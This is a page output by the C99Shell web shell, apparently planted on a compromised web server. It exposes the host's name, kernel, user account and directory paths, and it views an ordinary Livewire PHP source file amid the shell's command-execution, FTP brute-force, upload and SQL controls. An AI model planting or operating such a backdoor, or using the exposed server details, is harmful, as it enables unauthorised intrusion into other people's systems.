!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/livewire/livewire/src/   drwxr-xr-x
Free 29.11 GB of 117.98 GB (24.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LifecycleManager.php (5.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Livewire;

use 
Livewire\ImplicitlyBoundMethod;
use 
Illuminate\Validation\ValidationException;

class 
LifecycleManager
{
    protected static 
$hydrationMiddleware = [];
    protected static 
$initialHydrationMiddleware = [];
    protected static 
$initialDehydrationMiddleware = [];

    public 
$request;
    public 
$instance;
    public 
$response;

    public static function 
fromSubsequentRequest($payload)
    {
        return 
tap(new static, function ($instance) use ($payload) {
            
$instance->request = new Request($payload);
            
$instance->instance app('livewire')->getInstance($instance->request->name(), $instance->request->id());
        });
    }

    public static function 
fromInitialRequest($name$id)
    {
        return 
tap(new static, function ($instance) use ($name$id) {
            
$instance->instance app('livewire')->getInstance($name$id);
            
$instance->request = new Request([
                
'fingerprint' => [
                    
'id' => $id,
                    
'name' => $name,
                    
'locale' => app()->getLocale(),
                    
'path' => Livewire::originalPath(),
                    
'method' => Livewire::originalMethod(),
                ],
                
'updates' => [],
                
'serverMemo' => [],
            ]);
        });
    }

    public static function 
fromInitialInstance($component)
    {
        
$name app('livewire')->getAlias(get_class($component), $component->getName());

        return 
tap(new static, function ($instance) use ($component,  $name) {
            
$instance->instance $component;
            
$instance->request = new Request([
                
'fingerprint' => [
                    
'id' => $component->id,
                    
'name' => $name,
                    
'locale' => app()->getLocale(),
                    
'path' => Livewire::originalPath(),
                    
'method' => Livewire::originalMethod(),
                ],
                
'updates' => [],
                
'serverMemo' => [],
            ]);
        });
    }

    public static function 
registerHydrationMiddleware(array $classes)
    {
        static::
$hydrationMiddleware += $classes;
    }

    public static function 
registerInitialHydrationMiddleware(array $callables)
    {
        static::
$initialHydrationMiddleware += $callables;
    }

    public static function 
registerInitialDehydrationMiddleware(array $callables)
    {
        static::
$initialDehydrationMiddleware += $callables;
    }

    public function 
boot()
    {
        
Livewire::dispatch('component.boot'$this->instance);

        return 
$this;
    }

    public function 
hydrate()
    {
        foreach (static::
$hydrationMiddleware as $class) {
            
$class::hydrate($this->instance$this->request);
        }

        return 
$this;
    }

    public function 
initialHydrate()
    {
        foreach (static::
$initialHydrationMiddleware as $callable) {
            
$callable($this->instance$this->request);
        }

        return 
$this;
    }

    public function 
mount($params = [])
    {
        
// Assign all public component properties that have matching parameters.
        
collect(array_intersect_key($params$this->instance->getPublicPropertiesDefinedBySubClass()))
            ->
each(function ($value$property) {
                
$this->instance->{$property} = $value;
            });

        if (
method_exists($this->instance'mount')) {
            try {
                
ImplicitlyBoundMethod::call(app(), [$this->instance'mount'], $params);
            } catch (
ValidationException $e) {
                
Livewire::dispatch('failed-validation'$e->validator$this->instance);

                
$this->instance->setErrorBag($e->validator->errors());
            }
        }

        
Livewire::dispatch('component.mount'$this->instance$params);

        
Livewire::dispatch('component.booted'$this->instance$this->request);

        return 
$this;
    }

    public function 
renderToView()
    {
        
$this->instance->renderToView();

        return 
$this;
    }

    public function 
initialDehydrate()
    {
        
$this->response Response::fromRequest($this->request);

        foreach (
array_reverse(static::$initialDehydrationMiddleware) as $callable) {
            
$callable($this->instance$this->response);
        }

        return 
$this;
    }

    public function 
dehydrate()
    {
        
$this->response Response::fromRequest($this->request);

        
// The array is being reversed here, so the middleware dehydrate phase order of execution is
        // the inverse of hydrate. This makes the middlewares behave like layers in a shell.
        
foreach (array_reverse(static::$hydrationMiddleware) as $class) {
            
$class::dehydrate($this->instance$this->response);
        }

        return 
$this;
    }

    public function 
toInitialResponse()
    {
        
$this->response->embedThyselfInHtml();

        
Livewire::dispatch('mounted'$this->response);

        return 
$this->response->toInitialResponse();
    }

    public function 
toSubsequentResponse()
    {
        return 
$this->response->toSubsequentResponse();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--